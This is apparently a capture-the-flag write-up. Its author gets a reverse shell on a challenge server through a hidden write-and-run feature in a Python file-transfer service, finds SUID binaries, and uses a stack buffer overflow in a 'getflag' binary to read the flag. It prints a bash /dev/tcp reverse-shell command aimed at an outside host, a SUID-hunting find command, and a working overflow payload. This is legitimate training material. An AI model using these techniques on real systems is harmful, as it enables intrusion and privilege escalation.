The Code Composition

CTF #2 – Part 3

hard challenge:

Goal: get the flag in /home/sysadmin

IP: 206.189.220.181

Hint: SUID

That's the same server we used for challenge 2, that means the port are the same.

Port 22: SSH

Port 80: Web server (useless)

Port 8080: Alternative HTTP port. Where the file can be downloaded with 'get' command.

Port 1337: ftp like server.

```
D:\Desktop {git}
{lamb} nc 206.189.220.181 1337
ls
ss
qsdqsdqs
Command not found, please use 'help' for more info
```

Figure 1 port 1337 with ftp like server

```
help
list - list all the files in this directory
get <filename> - upload the file to web server, can be downloaded from port 8080
```

Figure 2 help output

We know the following command:

- **list**
- **get <filename>**

And we also know there is the following files:

```
list
cmdLog.txt
fileTransfer.py
output.log
run.sh
secret1
secret10
secret11
secret12
secret13
secret14
secret15
secret16
secret17
secret18
secret19
secret2
secret20
secret21
secret22
secret23
secret24
secret25
secret26
secret27
secret28
secret29
secret3
secret30
secret31
secret32
secret33
secret34
secret35
secret36
secret37
secret38
secret39
secret4
secret40
secret41
secret42
secret43
secret44
secret45
secret46
secret47
secret48
secret49
secret5
secret50
secret6
secret7
secret8
secret9
start.sh
```

Figure 3 file on the server

So, as we already know, all secret files are used for challenge 2. Let's give an eye to *start.sh*, *run.sh*, *fileTransfer.py.*

We will also give an eye on *cmdLog.txt* and *output.log*. These files can give many sensitive info, like username, password, hash or directory.

cmdLog.txt seems to contains every command sent to the server

output.log seems to be the output of the software running to be the ftp server like

fileTransfer.py contains **a lot of info**

```python
# ==================================================================================
#!/usr/bin/env python3
#
# This is a file transfer system that allow user to select files from a specific directory
# and move them over to /opt/fileshare so they can download from port 8080
#
# ==================================================================================
# ==================================================================================
# TODO:
# commands: list, get   # DONE
# restricted to base directory  # DONE
# send file to php server  # DONE
# hidden function that can be called to write ONE LINE into a file # DONE
# hidden func that can run the file (in a screen) # DONE
# (the screen will be killed once the process is done) # DONE
# ==================================================================================
import socket
import subprocess

HOST = ""    # Leave the host empty so it can be connected from anywhere
PORT = 1337 # Port to listen on (non-privileged ports are > 1023)

def writeToScript(code):
  """This function write one line into run.sh"""
  f = open("run.sh", "w")
  f.write(code)
  f.close()
  return True

def runScript():
  """This function will run run.sh script in a screen"""
  out = subprocess.getoutput("screen -x shell -X stuff 'bash run.sh^M'")
  return out

def hasEscapeChar(cmd):
  """This function filter all the shell escape characters"""
  # filter ";","&","#","|","(",")","$"
  for i in [";","&","#","|","(",")","$"]:
    if i in cmd:
      return True
  return False

def shell(cmd, address):
  # first remove all the "\n" from the sting to avoid errors
  cmd = cmd.replace("\n","")
  args = cmd.split(" ")
  if cmd == "help" or cmd == "?":
    out = "list - list all the files in this directory\n"
    out += "get <filename> - upload the file to web server, can be downloaded from port 8080\n"
  elif cmd == "list":
    out = subprocess.getoutput("ls")
    out = out + "\n"
  elif args[0] == "get":
    if not hasEscapeChar(cmd):
      command = "cp " + args[1] + " /opt/fileshare"
      out = subprocess.getoutput(command)
      out = "File transferred, please go to the web server to download it.\n"
    else:
      out = "Command not found, please use 'help' for more info\n"
  elif args[0] == "wscript":
    code = cmd.split(" ",1)[1]
    writeToScript(code)
    out = "Written to script\n"
  elif cmd == "rscript":
    out = runScript()
  else:
    out = "Command not found, please use 'help' for more info\n"
```

```python
    # debug
    print("Command executed:", cmd)
    # write log into file
    f = open("cmdLog.txt", "a+")
    commandLog = str(address) + ":" + cmd + "\n"
    f.write(commandLog)
    f.close()
    return out

def is_port_in_use(port):
    """This function check if the server port is in use"""
    import socket
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        return s.connect_ex(('localhost', port)) == 0

# If the port is in use, kill every process running on that port
# before binding the shell
if is_port_in_use(1337):
    a = "kill $(lsof -t -i:1337)"
    subprocess.getoutput(a)
    print("port in use, terminating other process...")

s = socket.socket()
s.bind((HOST, PORT))
s.listen(5)
while 1:
    print("socket binded to %s" %(PORT))
    conn, addr = s.accept()
    print('Connected by', addr)
    a = "rm /opt/fileshare/*"
    subprocess.getoutput(a)
    with conn:
        while 1:
            data = conn.recv(1024)
            command = data.decode("utf-8")
            if "exit" in command:
                result = "Press ^C to quit\n"
                conn.sendall(str.encode(result))
            else:
                # addr is provided for logging
                result = shell(command, addr)
                if not data:
                    break
                conn.sendall(str.encode(result))
```

With it, we now know the commands **rscript** and **wscript**

We also know that every file we parse as **get** is sent to */opt/fileshare* and that these files get deleted every time someone new connect.

Another thing we know is that command is parse via **wscript** is sent to *run.sh*. So, we don't need to inspect it.

This is clearly the file that run the ftp-like server we're on. And as we can see, we can't shell escape with it, so we'll need a way to get a better shell. The most common way for it is **reverse shell**. Few years ago, I would have used netcat for it, but the *-e* parameter tends to have disappeared (due to security issue that led to ofc).

I'll use *bash -i >& /dev/tcp/<IP>/<PORT> 0>&1*

This is one of the common ways to open reverse shell on a Linux machine. Has we can see on *fileTransfer.py*, **wscript** and **rscript** is clearly the way to open the reverse shell. So let get this done.

<u>You will either need a VPS or to open a port on your router to do this that way. The port to open will be the one specified in the command.</u>

```
D:\Desktop {git}
{lamb} ssh shiirosan@149.91.81.156 -p 443
shiirosan@149.91.81.156's password:
__      __         _ _                __  __
\ \    / /_ _ _  _| | |_      / /|/ /_
 \ \/ / _` | || | |  _|____| | | '_ \
  \ V / (_| | |_| | | ||_____| | | (_) |
   \_/ \__,_|\__,_|_|\__|     |_|_|\___/

Welcome to Debian GNU/Linux 9.11 (stretch) (2.6.32-042stab120.11).

System information as of: Sun Dec 29 22:36:17 CET 2019

System load:    0.17     IP Address:
Memory usage:   0.0%     System uptime:  271 days
Usage on /:     3%       Swap usage:     0.0%
Local Users:    6        Processes:      73

0 updates to install.
0 are security updates.

Last login: Tue Dec 24 21:58:00 2019 from 83.196.6.28
shiirosan@Vault-116:~$ nc -v -n -l -p 4444
listening on [any] 4444 ...
connect to [149.91.81.156] from (UNKNOWN) [206.189.220.181] 41464
ubuntu@CTF2:~$
```

Figure 4 getting a reverse shell

Nice! As we can see, the shell became *ubuntu@CTF2.* And it seems we are an user called *ubuntu*. Let's verify it

```
ubuntu@CTF2:~$ id
id
uid=1001(ubuntu) gid=1001(ubuntu) groups=1001(ubuntu)
```

Figure 5 id output

So, we are *ubuntu*. I don't think this user can access to *sysadmin* files but let's try it out 🤷

```
ubuntu@CTF2:~$ ls -al /home/sysadmin
ls -al /home/sysadmin
total 44
drwxr-xr-x 6 root     root     4096 Dec 23 05:05 .
drwxr-xr-x 4 root     root     4096 Dec 23 01:31 ..
-rw------- 1 sysadmin sysadmin  671 Dec 23 03:01 .bash_history
-rw-r--r-- 1 sysadmin sysadmin  220 Dec 19 06:09 .bash_logout
-rw-r--r-- 1 sysadmin sysadmin 3771 Dec 19 06:09 .bashrc
drwx------ 2 sysadmin sysadmin 4096 Dec 23 05:05 .cache
-rw-r--r-- 1 sysadmin sysadmin    0 Dec 19 06:09 .cloud-locale-test.skip
drwx------ 3 sysadmin sysadmin 4096 Dec 23 05:05 .gnupg
drwxrwxr-x 3 sysadmin sysadmin 4096 Dec 19 06:20 .local
-rw-r--r-- 1 sysadmin sysadmin  807 Dec 19 06:09 .profile
drwx------ 2 sysadmin sysadmin 4096 Dec 23 05:02 .ssh
-rw------- 1 sysadmin sysadmin   50 Dec 23 01:52 flag2
ubuntu@CTF2:~$ cat /hom e
cat /home
cat: /home: Is a directory
ubuntu@CTF2:~$ cat /home/sysadmin/flag2
cat /home/sysadmin/flag2
cat: /home/sysadmin/flag2: Permission denied
ubuntu@CTF2:~$
```

Figure 6 checking if ubuntu could do it

Well, indeed, we don't have the right for it… Let's see if there is any executable that could help us. For it, the command we used in the first CTF will help us.

find / -perm -u=s -type f 2>/dev/null

```
ubuntu@CTF2:~$ find / -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
/bin/fusermount
/bin/mount
/bin/umount
/bin/ping
/bin/su
/usr/lib/klibc/bin/getflag
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/snapd/snap-confine
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/at
/usr/bin/newgidmap
/usr/bin/passwd
/usr/bin/newuidmap
/usr/bin/traceroute6.iputils
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/pkexec
```

Figure 7 looking for exec that have specific rights

/usr/lib/klibc/bin/getflag seems really interesting. Let's download it and analyze it. For it, we just have to do *cp /usr/lib/klibc/bin/getflag /opt/fileshare*. Then we can just download it from the web server on 8080.

```
.text:000005AD                 lea     ecx, [esp+4]
.text:000005B1                 and     esp, 0FFFFFFF0h
.text:000005B4                 push    dword ptr [ecx-4]
.text:000005B7                 push    ebp
.text:000005B8                 mov     ebp, esp
.text:000005BA                 push    edi
.text:000005BB                 push    ebx
.text:000005BC                 push    ecx
.text:000005BD                 sub     esp, 7Ch
.text:000005C0                 call    __x86_get_pc_thunk_bx
.text:000005C5                 add     ebx, 1A07h
.text:000005CB                 mov     [ebp+var_1C], 0ABCDEEFFh
.text:000005D2                 lea     edx, [ebp+buf]
.text:000005D5                 mov     eax, 0
.text:000005DA                 mov     ecx, 19h
.text:000005DF                 mov     edi, edx
.text:000005E1                 rep stosd
.text:000005E3                 sub     esp, 4
.text:000005E6                 push    100h            ; nbytes
.text:000005EB                 lea     eax, [ebp+buf]
.text:000005EE                 push    eax             ; buf
.text:000005EF                 push    0               ; fd
.text:000005F1                 call    _read
.text:000005F6                 add     esp, 10h
.text:000005F9                 cmp     [ebp+var_1C], 1337h
.text:00000600                 jnz     short loc_630
.text:00000602                 sub     esp, 4
.text:00000605                 push    3E8h
.text:0000060A                 push    3E8h
.text:0000060F                 push    3E8h
.text:00000614                 call    _setresuid
.text:00000619                 add     esp, 10h
.text:0000061C                 sub     esp, 0Ch
.text:0000061F                 lea     eax, (aCatHomeSysadmi - 1FCCh)[ebx] ; "cat /home/sysadmin/flag2"
.text:00000625                 push    eax             ; command
.text:00000626                 call    _system
.text:0000062B                 add     esp, 10h
.text:0000062E                 jmp     short loc_642
.text:00000630 ; ---------------------------------------------------------------------------
```

Figure 8 assembly code of getflag file

We learn many things on it, first of all, we're making a value called *var_1C* and the value of the variable is *0xABCDEEFF*. Then, we're allocating 100 bytes to a variable called *buf*. Then, we will read 256 to the same variable, and then we compare *var_1C* value with *0x1337*. If *var_1C* is equal to 0x1337, then we execute the following command *cat /home/sysadmin/flag2*. That's perfectly what we're looking for.

In this precise case, we're in the case of a *buffer overflow.* A buffer overflow happens when the user can write more data than he has space to write to. Here, we have a block of 100 bytes, but we can write 256 bytes to it. In C and C++ (or ASM, in fact, every low-level programming languages), when you put more data than you are allowed, these one just overwrite what is "under". IDA Pro show it pretty clearly.

```
.text:000005AD buf             = byte ptr -80h
.text:000005AD var_1C          = dword ptr -1Ch
.text:000005AD anonymous_0     = dword ptr -0Ch
.text:000005AD argc            = dword ptr  8
.text:000005AD argv            = dword ptr  0Ch
.text:000005AD envp            = dword ptr  10h
```

Buf is the first variable allowed, then *var_1C*. Which means, every info you have after the 100 bytes you are allowed to will go to *var_1C, anonymous_0, argc, argv* and *envp.*

```
ubuntu@CTF2:~$ /usr/lib/klibc/bin/getflag
/usr/lib/klibc/bin/getflag
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Segmentation fault (core dumped)
ubuntu@CTF2:~$
```

Figure 9 sending lots of a to make the program crash

The program just crashes if you send more than 100 a. According to what IDA gave us, we need to write 100 char to go to *var_1C.* But! We also need to take in care the fact that *var_1C* = 0xABCDEEFF. That mean, to have it equal 0x1337, we need to overwrite the first byte with null byte (0x00). A working solution could be something like that :
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x00\x00\x00\x00\x13\x37

(Theoretically it would work)

```
ubuntu@CTF2:~$ python -c "print ('\x12' * 100 + '\x00\x00\x00\x00\x13\x37')" | /usr/lib/klibc/bin/getflag
python -c "print ('\x12' * 100 + '\x00\x00\x00\x00\x13\x37')" | /usr/lib/klibc/bin/getflag
I guess you're not cool enough to see my secret
ubuntu@CTF2:~$
```

But, it doesn't, why?

Well it doesn't work due to the **Big Endian** and **Little Endian**. I'll not explain it here, but you can find very good explanation on the internet about it. That means if we invert the last part (*\x00\x00\x00\x00\x13\x37*)

```
ubuntu@CTF2:~$ python -c "print ('\x12' * 100 + '\x37\x13\x00\x00\x00\x00')" | /usr/lib/klibc/bin/getflag
python -c "print ('\x12' * 100 + '\x37\x13\x00\x00\x00\x00')" | /usr/lib/klibc/bin/getflag
hard flag

ctfbin[redacted]
```

And that's good! 😊